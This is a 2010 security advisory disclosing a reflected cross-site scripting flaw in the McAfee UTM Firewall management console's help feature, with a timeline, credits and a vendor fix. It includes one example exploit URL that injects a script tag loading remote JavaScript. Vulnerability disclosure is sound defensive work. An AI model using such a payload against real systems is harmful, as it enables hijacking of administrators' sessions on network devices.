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McAfee UTM Firewall Help Cross-Site Scripting

Advisory Information

Advisory ID: NGENUITY-2010-005

Date published: June 9, 2010

Vulnerability Information

Class: Cross-Site Scripting (XSS)

Remotely Exploitable: Yes

Locally Exploitable: No

BID: 40708

Software Description

McAfee UTM Firewall (formerly SnapGear) is the affected product line. More information can be found at http://www.mcafee.com/us/enterprise/products/network_security/utm_firewall.html

Vulnerability Description

The help feature of the McAfee UTM Firewall (Firmware 3.0.0 to 4.0.6) management console is vulnerable to reflected cross-site scripting.

It could allow an attacker to cause a user to execute attacker-supplied Javascript code. This attack requires the target to have an existing valid session logged into the UTM device and that the attacker know the internal IP address for the UTM device.

McAfee recommends upgrading to UTM Firewall Firmware 4.0.7 to mitigate this vulnerability.

Timeline:

1/21/2010 - McAfee notified of vulnerability, provided with proof of concept
6/9/2010 - McAfee notified nGenuity of available fix and related information

Technical Description

Example Exploit URL:

http://192.168.0.1/cgi-bin/cgix/help?&page=web_list_block“><script src=“http://example.com/xss.js”></script>

References

Credits

This vulnerability was discovered by Adam Baldwin

Disclaimer

The contents of this advisory are copyright (c) nGenuity Information Security and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.